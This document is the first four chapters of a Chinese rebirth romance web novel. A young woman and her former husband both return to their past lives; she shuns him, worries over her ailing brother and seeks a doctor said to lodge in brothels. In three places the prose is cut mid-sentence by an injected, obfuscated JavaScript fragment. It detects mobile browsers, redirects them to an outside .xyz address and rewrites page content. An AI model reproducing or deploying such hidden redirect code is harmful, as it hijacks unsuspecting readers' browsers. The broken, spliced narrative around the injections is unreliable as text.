《不做贤妻(双重生)》 1. 第 1 章 京城,威远将军府,雲辉院。 阮栀梳妆完毕,独坐镜前。 镜中少女梳着双鬟髻,俏脸粉雕玉砌,如熟透破壳的丹荔,露出莹白水润的玉肤。 朱唇素齿,琼鼻挺翘,杏眼灵动,一双羽玉眉倔强上扬,透出勃勃英气来。 另一张相似的面孔在镜中闪过,她见过无数次,只是冰肌玉肤被攀上了细细纹路,双眸空洞、眼尾下垂,眉宇间英气不再,只剩下化不开的哀怨。 她闭上双眼,一股酸意从心底涌起。 一月前她外出不慎淋了雨,归家后便大病一场。 这病来得古怪,并无风寒症状,只是头痛欲裂,伴着日夜不断的梦魇,后脑处似被生生撕扯下一块头皮般的剧痛,没几日她便瘦脱了形。 父亲请遍京城名医都其效甚微,最后还是机缘巧合遇到正要远游的广福观道长,请了一道符箓贴在院门上才逐渐好转。 道长说这不是普通风寒,它带了前世遗疮,已为其揭去。 遗疮既去,也破开了前世全部记忆,她意识到自己这是重生了。 前世她是人们口中好命的永宁侯夫人,夫君宠爱、子女孝顺,亦是丰国的贤妻典范。 然而只有自己知晓,她不过是裴言澈的笼中雀,那一世她燃尽自己成就了他,自始至终,她只是一个笑话。 “大小姐,宾客们都到齐了,老爷吩咐,笄礼可以开始了。”门外安嬷嬷来唤。 阮栀回神,用力甩头,发饰碰撞,“叮当”脆响。 再睁眼,镜中少女眼波流转,顾盼生辉,她从妆台上拿起一盒胭脂,指腹轻轻摩挲上头雕刻着的如意纹,玉手轻点胭脂,在唇上划出一抹艳丽朱红,她对镜扬眉,轻道一声“久违了!” 今日是惊蛰,亦是她的及笄礼。 昨儿个下半夜一声炸雷,电明雨急,直到天光微亮才停歇,此时晓日初上,一片春光正好,正应了那句“一雷惊蛰始,微雨众卉新。” 阮栀由丫鬟嬷嬷们簇拥着,缓步迈入正堂。 因着母亲早逝,父亲阮阔一人独坐主位,望向自己的眼里满是宠溺和感慨。 姑母阮韫青德才出众,为京城人所公认,此刻端坐正宾席上,也含笑看着自己。 右侧坐席上是大哥阮柏和大嫂梅洛初,大哥最似父亲,沉稳持重,已是军中武将,一双儿女粘着父母,侄子阮乐衍乖巧可爱,侄女阮锦念古灵精怪。 二哥阮桥朝自己眨眨眼,眉宇间满是意气风发,与二嫂坐一起俨然是新婚夫妇浓情蜜意的样子。 三哥肖母,笑容温和,最是文雅不过,只是他自小体弱多病,虽身形笔直坐着,但时不时以袖掩面轻咳两声。 前世里每一位家人的结局都无比清晰地呈现在脑海之中,心头如有万千针刺,回来的这一月,她最期盼与家人相伴,却又最害怕面对家人流露出的对她毫无保留的爱,她受之有愧。 她重重眨眼,努力咽下心中酸涩,朝眼前家人回以微笑。 “令月吉日,始加元服。弃尔幼志,顺尔成德……” 随着姑母庄重和婉的唱声,阮栀收回意识,在蒲团上端正跪下,由赞者梳头加笄。 “吉月令辰,乃申尔服。敬尔威仪,淑慎尔德……” 笄礼繁琐,虽已是第二次来过,但每一次加衣,每一次簪发,每一个大礼,阮栀做得都无比认真虔诚。 万事转头空,前世已矣,今生可待。 前世她便是在及笄礼这一日邂逅了裴言澈,自此一头栽了进去,万劫不复,如今一切回到起点,她绝不重蹈覆辙! 随着一声“礼成”,阮栀一身大袖长裙礼服,朝宾客一一拜过,姿态娴静端丽,却并未掩饰眉梢那点飞扬。 笄礼不设宴席,观礼宾客陆续离开,她同前世一样跟在姑母身边拜送宾客,毫无意外的,她瞧见了前世的婆母裴夫人。 此时裴家还未获封爵位,但裴夫人作为丰国响当当的妇德典范,凭着出生皇后世家傅家,亲妹妹是如今宠冠六官的淑妃,儿子又是丰国有史以来最年轻的状元,种种身份都足以让她被京城贵夫人们众星拱月般追着捧着。 前世她便是送裴夫人时遇着了二门外等候母亲的裴言澈。 想起那一家子的道貌岸然,阮栀唇角划过一丝讥诮。 此刻她没有挤进裴夫人身边的兴致,转身瞧见闺蜜宋景烟,便与她一同搀扶着宋家老夫人缓缓往外走。 三人一路说笑着,走到二门时宾客已然散尽。 “一眨眼都是大姑娘了,趁着还没议亲,你们可劲儿玩去!”宋老夫人出自将门,巾帼不让须眉,从不拘泥于礼教之中,在丰国女子中也是少有。 宋景烟朝着阮栀眨眨眼,“我就说我祖母最是开明不过!” “正准备明日过府找老祖宗好好讨教一番呢!”阮栀心中前所未有的轻松雀跃,贴心地将老夫人扶上马车。 “好好好,那老婆子就备上你最爱的核桃糕等着你了!” 阮栀朝祖孙二人挥手告别,直至马车拐出巷子才回转。 猝不及防的,一个俊逸儒雅的修长身影立在二门前,那背影阮栀再熟悉不过,不是裴言澈又是谁。 阮栀心中疑惑,他应该早就离开了才对。 此时的裴言澈正低声与门口的阮家下人说着话,“家母落了一方丝帕在正堂,烦请找一找,某就在此等候。” 语气一如既往地谦和有礼,只是姿态孤高,让人不禁觉得他是天边望之莫及的云,而自己只是低入地底的一粒尘埃。 下人听命离开,他便朝着下人离去的方向负手而立,目不斜视。 此时二门外便只有她和他二人,自己一个大活人在此他权当看不见?是了,端方君子眼里自然是男女大防更为重要,多瞧自己一眼都是对祖宗规矩的亵渎! 阮栀不由嗤笑一声,道貌岸然的伪君子,自己前世怎就爱极了这幅嘴脸。 眼前之人仿佛被这一声嗤笑所扰,眉头皱起,循声望过来的漆黑眼眸里是阮栀熟悉的带着压迫的高傲与审视。 阮栀斜睨一眼,嘴角冷笑不曾散去,她姿态轻盈地从他身边走过,跨进二门,再未回头。 …… 粉裙在眼前一掠而过,只余空气里一点若有似无的香气,熟悉又疏淡,裴言澈有些措手不及。 她竟连正眼都没瞧自己一下? 一月前他重生回来,到此刻都觉如在梦中。 上一世他被皇后陷害,上了断头台,刽子手手起刀落的一刹那,心中满腔的愤懑与不甘随着鲜血喷薄而出,即便此刻想起依旧令他浑身战栗。 他下意识伸手摸脖子,一切都在,一切都还在,他回来了…… 前世他运筹帷幄,一路顺风顺水,几乎没有遇到多少阻碍,他辅佐五皇子成功夺位,他位极人臣、权倾朝野,他没想到最后竟会败在他从未放在眼里过的姚皇后手里。 好在他重生了,一切的不甘被重生的狂喜抚平,天不亡我,这一世他必定要拨乱反正! 这一个月,他不断将前世种种逐一复盘,他发现皇后姚氏并不足为虑,一切的转折源头似乎都与妻子阮氏有关。 那老道士说阮氏是他的福星,如今看来所言非虚,但凡她在他身边,他就无往不利,她病死之后,所有的好运道都倒向了他的死对头。 是以,眼下最要紧的就是娶回阮氏。 此事于他来说原本轻而易举,前世她爱极了他,只要他点头,她自然会不顾一切朝他奔赴而来。 然而此刻情形全然不对,到底是哪里出了问题? 裴言澈开始绞尽脑汁去回忆从前种种。 前世及笄礼在巳正结束,他在阮府二门外等候母亲,母亲膝盖不适,阮氏亲自将她送到了马车上。 粉色长裙礼服鲜亮明丽,钗环叮当,他冷眼扫去,她朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“明日我便去提亲。”他只扔下了这句话。 之后的很多年他都认为自己应下婚事是因了她的家世,如今想来,又何尝不是因为昏暗小巷里那双晃了他眼的明眸呢。 “裴大人……”阮家下人从二门出来,朝他恭敬行礼。 裴言澈思绪被打断,这才惊觉想得太远偏了题。 “小的找遍正堂也未发现令堂的丝帕……”裴言澈不置一词时自带威压,阮家下人心中惴惴,腰弯得更低了。 “多谢。”裴言澈朝二门里深看一眼,旋即转身离去。 回府马车上,他拉回方才发散的思维,凝眉沉思。 今日阮氏并未送母亲出来,故而他让马车等了片刻,然而宾客陆续走了也未见着阮氏的身影,他猜测她兴许被什么事情绊住了,于是让母亲先走,自己找了个理由在二门外等候。 余光看到粉色裙裾的一角时他心脏莫名一颤,不过心中忐忑很快平复,想着只要她见着他,一切就能同前世一般进行了。 依旧是出来送客,只不过她这次送的是宋家那位老太君。 他按捺下心中激荡,故作沉稳与阮家下人对话,然而他并未如愿迎来她炽热的目光,入耳的只有一声嗤笑。 这不像是阮氏会做的事。 可他疑惑望去时她已同他擦身而过,翩然离去。 他有一种奇怪的感觉,她对他的态度似乎有些不屑。 还有,她那艳红的口脂又是怎么回事? 印象中阮氏打扮清纯雅致,断不会用如此颜色,好看是好看,只是太过张扬,不似……良家。 理所当然之事出了岔子,他心中有隐隐的不安。 坐上马车,他用力甩了甩头,将那股莫名烦躁压下,右手又下意识摸向脖子,此刻只有这个动作能让他沉静下来。 若说这世上有什么是他能够确信不移之事,那必是阮氏对他的倾慕。 一定是自己多虑了。 裴言澈长吁一口气,缓缓平复心绪。 既确定了他心里是有她的,重来一次,他决定要对她好一点。 不急,与她相遇不是什么难事,她不来他主动一些也无妨,总会遇上的。 他如此安慰自己。 …… 2. 第 2 章 翌日,阮栀如约去了宋家。 才请过安,正想坐下来聊两句,就被宋老夫人下了逐客令。 “小姑娘家家的陪我这老婆子做甚,呐,你最爱的核桃糕带着,跟景烟出去逛逛街、跑跑马,莫辜负了这大好春光!” 宋老夫人身边的莲嬷嬷拎着几个食盒笑着将阮栀和宋景烟一道送出了门。 被赶出来的两人站在二门外面面相觑,忽的“噗嗤”一声笑出来。 “还得是你祖母!”阮栀失笑。 宋景烟下巴微抬,“那是自然,走吧,跟我去皇家马球场逛一圈!” 皇家马球场位于京城琼林苑南殿,附近是一片殿宇群落,为前朝所建,其奢华程度曾举世无双。 前朝灭亡后这片殿宇被外敌洗劫过多次,到丰国太祖平定中原,定都京城时这里只剩了一个空架子。 太祖之后又经历了皇子夺位之乱局,最终庶长子祝崇安在兄弟间杀出一条血路,成功继位,便是当今圣上丰英帝。 经历连年战乱和天灾,丰国百废待兴,好在丰英帝即位之后宵旰忧勤,这几年国力日渐强盛。 马车驶入一条横街,这是通往马球场的必经之路,两侧满载杨柳,园林、殿宇在轻拂的柳丝后若隐若现。 近几年国库宽裕不少,丰英帝开始着手修缮这些前朝遗迹,虽不及昔日辉煌,但已能窥得二三。 此时有许多工匠模样的人正在其间往来忙碌,刷漆的刷漆,描金的描金,还有的在柳树间插上彩旗。 “这是要做什么?”三年前母亲病逝,阮栀年初才出孝,对外面的一切都知之甚少。 “下月今上五十大寿,邀请各邦国来朝,还要举办盛大的马球赛,要彰显国威,自然要装点好门面。”宋景烟交际广泛,又时常出入宫廷,消息灵通。 阮栀前世没去看马球赛,那时她忙着四处堵裴言澈,其余一切都不在心上。 此时回想起无数次的碰壁和冷脸,她不由默默为前世的自己叹息,傻姑娘,逛街、听曲儿、看马球赛,哪一样不比追裴言澈来得有趣! “马球赛?你们比吗?”如今提到马球她便来了兴致,前世她没机会经历、尝试的一切,她都无比向往。 她知道宋景烟两年前接任丰国女子马球队队长,故而有此一问。 宋景烟闻言苦笑,她率先下了马车,语气又带了点烦躁,“我倒是想比……唉,你进去看看便知了。” 二人进入马场,率先映入眼帘的是两排屋舍,一排男舍,一排女舍,分为存放骑具的库房、更衣室和球员休憩室,位于内侧的女舍外观上明显要比男舍简陋一些。 丰国建国之初,女子马球队曾和男子马球队一样所向披靡。 那时先帝率兵痛击霸占中原多年的各个小国,小国纷纷遣使求和,先帝议和时办了一场马球赛,球员从各自男兵、女兵中挑选,丰国男女马球队将号称马背民族的小国们打得落花流水,强势彰显国威,故而之后很多年小国都乖顺无比,不敢有丝毫逾越。 阮栀跟着宋景烟绕过男舍,进入女舍。 女舍里的场景令阮栀惊诧。 不似男舍人来人往,女舍根本无人,库房也几乎是空的,不多的骑具老旧不堪。 宋景烟没有言语,扔了一套骑装给她换上之后带她去到马厩。 男队马厩里清一色精神抖擞的好马,一看就被照养得极好,而一旁女队马厩里马匹不仅数量少,质量也是参差不齐。 “这几匹好马是女队员从自家带的,剩余老弱病残是马场原先留下的,淑妃统领后宫之后,女队就没分到过一个铜板。女队几乎无人了,比赛就别想了!”宋景烟一口气回答了阮栀的所有疑问。 宋景烟说完牵出两匹挂有“宋”字木牌的马,将其中一匹马的缰绳扔给阮栀,“走,跑一圈去!” 一说是淑妃阮栀就不奇怪了,对于淑妃,她再熟悉不过。 淑妃是裴言澈母亲的亲妹妹,五皇子的生母,未来的太后。 她执掌六宫正值丰国百废待兴时,她率先提倡节俭,带头缩减后宫吃穿用度,还自己做女红,让民间效仿,宣扬女子应该做好丈夫的贤内助,不抛头露面,不给男人添麻烦。 看似贤德,实则是排除异己,打压女子地位。 阮栀前世在淑妃和婆婆裴夫人那里受到的“管教”可谓从头到脚、自内而外,加上裴言澈的默许,她几乎被剥掉一层皮。 这两姐妹最擅长的便是占据道德高地来操控人心,顶着“贤德”之名却干尽世间腌臜之事。 不愿多想前世那段恶感丛生的经历,她接过缰绳,翻身上马。 她自小便会骑马,骑术不输宋景烟,只是她十岁时母亲卧病后就一直侍奉在侧直到母亲去世,之后又是三年孝期,她好多年没出门骑过马了。 马背上的视野豁然开阔,身体随着马的步伐轻轻晃动,她一下子放松下来。 “驾!” 她一夹马腹,迎着春风而上,很快与这大好春光融为一体。 …… 同一时刻,南殿门外一辆马车停下。 虽装饰朴素,但其规格并不能让人忽视,四周明眼人纷纷跪下。 骑马随行的是裴言澈,他率先下马,来到马车旁搀扶淑妃娘娘下车。 今日他进宫办完事,恰好遇到淑妃出宫巡视马球场改造进度,于是顺路护送她过来。 “不忙的话随我一同进去转转吧。”见裴言澈要走,淑妃喊住他。 裴言澈微顿,大理寺近日事务繁杂,他忙得不可开交,他知晓淑妃是有话要与他说,只好快步跟上。 “前几日你母亲给你挑的几家小姐可有钟意的?” 裴言澈料到她要聊他的婚事,只是他打定注意要娶阮氏,必定不会考虑他人,此时面对淑妃他只好暂时搪塞一二,“家世都不差,不过都出自文臣之家,松卿想着或许与将门联姻更能锦上添花。” 裴言澈外祖曾任翰林院大学士,门生遍地,自己又是当朝状元,加上重生加持,想获得文臣一派的支持对他来说轻而易举。 武将势力对五皇子来说才是更大的诱惑,他只好抛出这一点。 淑妃略一思索还是点了头,“文臣之家出身的女子教养上要好些,将门之女……无妨,有我和你母亲在,无非是多花些力气调教,那便再看看。” 裴言澈神色稍缓,想起昨日的阮氏他又不禁皱眉,于是暗下决心,忙归忙,还是要找机会见见她,早日娶回家才能放心。 姨甥二人走到马场旁的露天看台,就见围场边上几个男队员正对着远处指指点点。 “宋队长旁边的是哪家姑娘?怎么没见过?” “哎哟,瞧瞧那身段!” “啧啧,真可谓薄妆浅黛亦风流啊!” 有人发现了不远处的淑妃二人,忙示意同伴闭嘴,悄悄退进男舍。 裴言澈朝他们指点的方向瞧去,一时忘了呼吸。 远处马场一袭杏黄身影正策马朝他这处飞驰而来。 春日暖风穿梭于她如云般的乌发之间,一双杏眸灿若流星,随马儿颠簸起伏的身段似初春新柳,既柔且韧,透出勃勃生机来。 马蹄声声,敲击着脚下土地,亦准确无误敲击在他心上。 忽的身后有人呼唤,她回头笑应,手中缰绳轻拉间已飞快调转马头而去。 看着那瞬间远去的背影,裴言澈怅然若失,下意识伸手想要抓住些什么,却猝不及防被马蹄扬起的飞沙糊了一脸。 淑妃在他身后未受到波及,不过此刻精致脸上怒意尽显,“哪里来的疯丫头,这般无礼!” 裴言澈从袖中掏出帕子,仔仔细细将脸和脖颈擦过一遍才答:“是威远将军家的幺女,昨日母亲去观了她的笄礼。” “粗鲁的武将之家果然养不出闺秀来!未出阁便抛头露面,还如此…如此放浪!成何体统!”淑妃面露鄙夷。 裴言澈闻言不由心中一惊,前世淑妃和母亲也都如此评价过刚进门的阮氏,他曾经亦是深以为然,可方才,他怎就被迷住了? 想起那几个男队员的指点私语,他的脸又冷下来,在外男面前如此肆意纵马确实不该。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮栀定定望着那只手,只觉腿脚发软有些站立不住,全部力气都落在了撑着树干的那只手上,手指抠进树干。 裴言澈似乎下了某种决心,回身看她,欲言又止。 “状元郎还有何事?”阮栀一开口就觉自己声音发虚,手指掐得更深,加大了音量。 “松卿方才撞见几位公子对姑娘纵马玩乐颇有微词,故而想规劝一二,女子宜清静自守,无好戏笑,切莫增父母之羞。”裴言澈纠结一番很快自洽,他眼神逐渐温和,似在教导娇妻一般耐心。 他所言正是《女诫》中的内容,被刻意回避的记忆在脑海中浮现,阮栀只觉头皮发麻。 裴言澈最爱闭门教妻,看似温和平易,谆谆不倦,实则不论对错,都要她绝对的屈从,每一次都必须诚心认错,誓不再犯为止。 浑身血液向上翻涌,伴着胃里一阵翻江倒海,陷入树干的手指渗出血迹,阮栀兀地笑了,“小女才疏学浅,只听夫子言‘非礼勿视’,我那纵马玩乐之态莫非状元公也瞧见了?” 裴言澈脸色瞬间冷下来,无形压力散发开来。 阮栀再撑不住,不管不顾抬脚破开他的威压,仓皇逃离。 到女舍更衣室门口,阮栀忍不住“哇”地一声吐了出来。 世人都知当朝状元公为人有洁癖,盥濯不离手。 阮栀对此更是深有体会,他从不允许衣衫有丝毫褶皱,更别论有丁点脏污,泥水、砂石都是让他深恶痛绝、避之不及之物。 他最常做的动作便是手指轻拂肩袖,时刻要掸去并不存在的尘埃。 今日他发间那几粒沙尘就过于突兀,还有那习惯性的随手动作,不是空拂尘埃,而是摸向脖颈。 言语、动作可以伪装,但下意识的动作不能。 脖颈……脖颈…… 阮栀心头狂跳,惊惧万分…… 3. 第 3 章 回府马车上,阮栀几乎瘫软在宋景烟怀里。 “怎就吐了,骑个马不至于啊,还有你这指甲又是怎么回事?”宋景烟满眼的心疼,一边碎碎念,一边沾湿了棉布帮她擦去指尖干涸的血迹。 方才指甲插进树里她都丝毫未觉,此时指尖痛感一阵阵袭来,阮栀眼泪就忍不住簌簌而落。 “哎呀,你别哭,我轻些,再轻些!”宋景烟急了,对着手指呼着气,手上力道愈加轻柔。 哭过一阵,阮栀才觉一口气缓过来,“我就是方才不小心摔了一跤,真没事。” “嗬,祖母常说我冒失,这还能传染不成?”宋景烟一脸的夸张。 阮栀知她在逗她,吸了吸鼻子,“真是呢!” 宋景烟佯装生气,用额头轻撞阮栀额头,“哼!” 嘴上哼哼唧唧,手下动作却稳妥轻盈,将手指擦拭干净后还用帕子仔细包裹住,“回去我就让含宝把伤药给你送过去,这两日小心着点,别乱动。” “小伤而已,我家也有伤药,不必那么麻烦!” “都裂出血口子了,你晓得女子的手有多娇贵吗?” “晓得了晓得了!” 阮栀敷衍点头,却没想到宋景烟重视无比,马车在将军府门口停下她也跟着下来,“等给你上好药我再走。” 两人进到内院就见三哥的小厮同福正送客人出门,背影瞧着像是沈太医。 阮栀拦下回转的同福,一番拷问下才得知,三哥因昨日高兴多坐了一会儿,今日便没起得来床。 三哥心细敏感,最不愿麻烦家人,身子不舒服也从不宣之于口,更不许下人说出去,今日还是大嫂命人给他送燕窝时发觉不对才回去禀报请的太医。 得知三哥已服药睡下,阮栀和宋景烟没去看望。 阮家人一直以来也有默契,鲜少去探病,怕三哥歉疚多虑。 心里又添一事,阮栀强装的无事几乎维持不住。 两人回到雲辉院,宋景烟帮她上药,见她神色只以为她是忧心三哥,于是想办法开导。 “我听闻道医萧无尘要来京城了,要不要带小松子去试试?” 阮栀、三哥和宋景烟年龄相近,自小玩在一块,感情最深。 当然,玩都是她们两个玩,三哥多数时候是安静坐在一旁看着,身子虽弱,但三人的聚首他从不缺席。 宋景烟幼时曾立志要改善三哥的体质,每日/逼他跟着自己练剑,三哥很努力,奈何身子不争气,坚持不到半个时辰就会心跳过速,站也站不稳。 纵使这样三哥也从未说过放弃,直到后面接连晕倒,宋景烟实在不忍自己放弃了。 她虽时常念叨小松子这不行那不行的,然而最关心三哥的也是她:家里进了珍奇补药她总想着法儿地拿给三哥,打听到江湖名医的消息也会第一时间派人去寻。 “道医?”阮栀皱眉,她总觉得道士骗子居多。 宋景烟白她一眼,“可别不信道士,你上次大病一场不就是求了广福观道长的符箓才好的?传闻还说他是云虚子的亲传弟子呢!” 云虚子是当世神医,他所著的《云虚问经》不知福泽了多少百姓,若真是其亲传弟子,倒是可以一试。 阮栀勉强点头承认,“行吧,那你说如何请他来?” 宋景烟闻言面露尴尬,手不自觉用银匙搅着药瓶,似是在斟酌如何开口。 阮栀按住她的手,“再搅这瓶药就废了。” 宋景烟讪讪放下药瓶,轻咳一声才道:“凡能人多有怪癖,故而这神医萧无尘也有些特别。” 阮栀点头,等她说下去。 “我打听过了,这位萧神医特立独行,生性/爱自由,每到一处只宿青楼妓馆,且一处只瞧一个病人,诊金花完就会离开去下一个地方。” “住青楼?那不是生性/爱自由,那是生性放浪吧!”阮栀忍不了了,如此行事的“神医”真不敢恭维。 言及此处宋景烟也觉有些站不住脚,忙补充道:“可他最擅长的便是解毒和心疾呢……” “擅治心疾”触到心上,阮栀默了默,只要能治三哥的病,风流道医又如何,她什么都愿意试。 “好吧,那如何能请他给三哥治病?” 宋景烟见她接受了道医的“特别”,也就不卖关子了,“传闻那萧神医最爱弹琵琶的姑娘,每到一地先四处听曲,然后挑琵琶技艺最好的姑娘留宿。留宿当天他就开诊,在出诊金高的病患里头随眼缘挑一位诊治。” 还真是特别。 阮栀秀眉微凝,“那万一他治不好呢?” “倒未听说过有他治不好的,当然也不是所有病都能治愈,不过在他手里再差也是症状有明显好转的。” “这些传言若都是真的,他倒确实有两下子!”阮栀心里隐隐有了期待。 宋景烟点头,咽了下口水才道:“所以……首先要做的便是要去到他可能去的青楼。” 阮栀无语凝噎,这青楼怎么可能是她们俩能够随便出入的。 见她脸色难看,宋景烟立刻补充,“别急啊,我来想办法,一定有办法的!” …… 入夜,阮栀送走宋景烟,由丫鬟伺候着梳洗一番躺到了床上。 这一日的心情可谓是跌宕起伏,旧怨未了,又添新愁,白日里她苦苦撑着,不想让任何人发觉她的不对劲,只有此时夜深人静,才能够细细回想。 白日里的惊惧稍缓,此时虽依旧心潮起伏,但她至少能够静气思考了。 裴言澈也回来了。 阮栀被包扎好的手不自觉握起,痛感袭来,她才觉安定一些。 原本她觉得重生是上天的恩赐,可为何老天爷也要偏爱于他? 前世他一路顺风顺水,位极人臣,他还有什么不满意的? 还有脖颈……他为何下意识会摸脖颈? 前世她活到三十六岁,到死时裴言澈也没这个习惯。 如此看来,她死后必定发生了十分重大之事,才能让他有这般下意识的动作。 阮栀深吸一口气,开始回想这两日他的所作所为。 昨日她刻意避开裴夫人,为的就是不再与裴言澈相遇,然而他们还是打了照面。 若说这是命中注定,经历重生的她即便不愿,也不得不信,但今日知晓他也回来了,另一个想法油然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875714|176310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。 万一是他想遇见她呢? 她到二门时裴夫人早已离去,他独自守在二门外,理由是他母亲的帕子,巧合的是今日也是因那帕子与她搭话,这帕子是否当真存在暂且不论,但确实是留下等她和与她说话的最好借口。 还有今日他训诫她的样子,压根没把她当外人,阮栀甚至有一种熟悉的感觉,前世他闭门教妻的常态便是如此,他显然早已把她当成囊中之物了! 的确,前世是她不顾一切上赶着要嫁他,他有此想法实属正常。 如今她无视他,对他来说就成了变数,所以他要找机会与她相遇,把一切拉回原本的轨迹,这一点说得通。 但他的行为似乎有些急切,这又是为何? 阮栀沉吟一番,轻嗤一声,是了,他今年的考绩很快会下来,太子必定要他外任,前世他曾四处求助,最终只有父亲阮阔能帮他留京,他需要她。 不仅如此,娶了她,有了阮家的助力,他能够迅速巩固自己的势力,之后不知省去了多少麻烦,精明如他,如何会不娶她? 阮栀咬住下唇,拳头再次握起,愤恨锤床:他凭什么?! 一阵宣泄之后,阮栀平静下来,浑身逐渐又被一股紧迫感笼罩,她的心跳又提速起来。 若他当真还想娶她…… 这想法几乎让她窒息。 前世一切运气都站在他和五皇子那一边,她不知道今生会如何,万一,还在他那一边呢? 他打定主意之事轻易不会改变,他的手段她再清楚不过,无所不用其极。 如此,想要远离他就更难了! 她不禁有些后怕,这两日她对他的嫌恶与不屑几乎掩盖不住,万一被他发现她也回来了…… 心“咚咚”跳,整个人也跟着微微颤抖。 他应该还未发觉。 若是他知晓她也回来了,那么对她的态度不会如此谦和,思及此,她稍稍放松。 如今她唯一的优势便是知晓他重生了,她必须掩饰好自己,不被他察觉任何异样。 至于接下来该如何做,她不甚明了,她从来不是一个好棋手,做不到谋篇布局,运筹帷幄。 她能做的,便是尽力护好家人,努力作出改变。 家人……想到三哥,她就愧疚难当,痛入心脾。 前世的此刻她根本不知三哥又病了,再之后只在她出嫁那日见过一面,再往后……阮家就没了。 那年阮家出事,十岁以上男丁全数流放,三哥拖着病体,流放路上没走多远就病死了。 清俊少年,客死他乡,连尸骨都无人收殓。 她最温文尔雅,最与世无争的三哥呀! 想起宋景烟的话,她强迫自己镇静下来,细细思索。 爱弹琵琶的姑娘,在青楼开诊,随眼缘挑病人……想要确保萧无尘给三哥治病不容易,能够自由出入青楼貌似不可或缺。 青楼……青楼…… 阮栀闭眼,前世一些零散记忆出现在脑海里:被禁锢的漫长岁月……下人们毫不避讳的闲聊……安嬷嬷在她耳边一遍遍的私语…… 她倏地睁眼,她知道该找谁了! 4. 第 4 章 昨夜心力交瘁,反倒一觉好眠,阮栀醒来时已是晌午。 想起今日要做之事,她精神十足地起床洗漱。 “玉川,去把我昨日带回来的核桃糕热一热装起来。” 阮栀有自己的小厨房,她洗漱完早午膳食已摆上了桌。 玉川瞧她胃口不错,吃了两块羊乳糕,一碗小米粥,三块炸藕合,此时正用不太熟练的左手舀汤圆吃,玉川疑惑,“小姐……您还要吃核桃糕?” 阮栀口中含了一颗汤圆,摇头,声音有些含混,“不是我吃,是给大嫂,这会儿她必定还未用午膳。” 府里事务繁杂,都是大嫂一人在管,每日过了未时才用午膳,这时辰正好用些点心。 阮栀用过饭,带了食盒直奔后院花厅,那是大嫂梅洛初每日待得最久的地方。 此时大嫂坐在主位上,还在听两个管事婆子掰扯事务,两人你一言我一语诉着苦,半点没有要停歇的意思。 应是坐得久了,大嫂面露疲色,右手伸到背后悄悄捶几下腰。 “大嫂!”阮栀掀帘进去,打断那两个婆子,“大嫂忙了大半日也该歇歇了,快尝尝我给您带的核桃糕!” 梅洛初如见救兵,眼下之事她其实早有决断,只是深知庶务繁杂,由着两位嬷嬷倒倒苦水,说出来也就好了。 她挥手柔声吩咐:“行了,两位嬷嬷辛苦我都看在眼里,下去歇歇用些茶点吧。” 俩婆子争半天无非是希望得主子体恤,闻言也是目的达成,恭敬退下。 阮栀亲手把核桃糕摆上桌,“宋家老祖宗的独门秘方,快尝尝,可好吃了!” “早有耳闻,今日倒是沾了你的光。”大嫂笑着与阮栀一同坐下,好看的双眸里满是意外和欣喜。 阮栀很少如此近距离看大嫂,上一次还是大哥大嫂成亲那日闹洞房,红盖头掀开的一瞬,大嫂那有别于寻常闺秀的雍容不迫让她印象深刻。 不到六年光景,大嫂眼尾已长出细纹,精神气犹在,却难掩眉间疲惫。 前世她与大嫂并不亲近。 作为阮家唯一的小女儿,她被娇惯长大,母亲去世后,父亲和三个哥哥对她的宠爱更是毫无原则可言。 大嫂是商户家长女,下头弟妹众多,自小便能够独当一面,她性子强势,说话也直爽,嫁进阮家后见她被骄纵太过,就忍不住苦口婆心管教她。 忠言逆耳,阮栀不喜束缚,常躲着大嫂,关系疏远。 相较之下,她与二嫂的关系更亲厚些。 一来是二嫂爱捧着自己,从不说自己一句不是,二来便是二嫂娘家与裴言澈母亲傅家是远亲,她时常向二嫂打听傅家和裴家之事,也会求二嫂帮她与裴家牵线搭桥。 然而只有经历了苦难,才能够真正辨识人心。 前世阮家出事,男丁流放,剩余家眷很快被赶出将军府,大嫂带着一双儿女、身怀有孕的二嫂,还有几个叔伯家的女眷举家迁往扬州老宅。 家产抄没,嫂子们的嫁妆都没能幸免,能带出来的银钱有限,因阮家之事敏感,亦无人敢明着救济她们,虎落平阳之时有的是人拉踩欺辱,故而在扬州的时日艰难异常。 二嫂生下一名男婴后没多久便抛下孩子,不声不响离开了扬州,后来才知晓是偷偷联络上了娘家人,娘家人为其伪造了休书,一年后,她便改嫁他人。 然而大嫂却凭一己之力养活了一大家子,还将银钱源源不断送去流放地,疏通打点,以保全家人性命。 那时真的无法想象她是如何做到的,直到多年后阮栀才从陪嫁安嬷嬷口中得知一点缘由。 梅家是扬州商贾大族,大嫂三岁能打算盘,十岁就跟着父亲四处巡铺子,经商是一把好手。 那年梅家长女与威远大将军府长子定下亲事,轰动整个扬州城,人人称奇称羡。 梅家不愿长女高嫁受委屈,把嫁妆装满了整整八条大船。 可实际上,大嫂的嫁妆还远不止这八条大船。 扬州巨贾,家中产业少不了最赚钱的青楼楚馆,可把这些产业写在嫁妆单子上着实有辱将军府世代忠烈的名声,梅家也怕女儿因此被夫家瞧不起。 故而大嫂还有另一张隐秘的嫁妆单子,便是这些不为人知的产业在抄家中得以保全,大嫂也得以在没有任何助力的情况下重振阮家。 阮栀记得京城几家有名的青楼就在那嫁妆单子上。 不过她一个未出阁的姑娘,要如何提青楼之事呢? 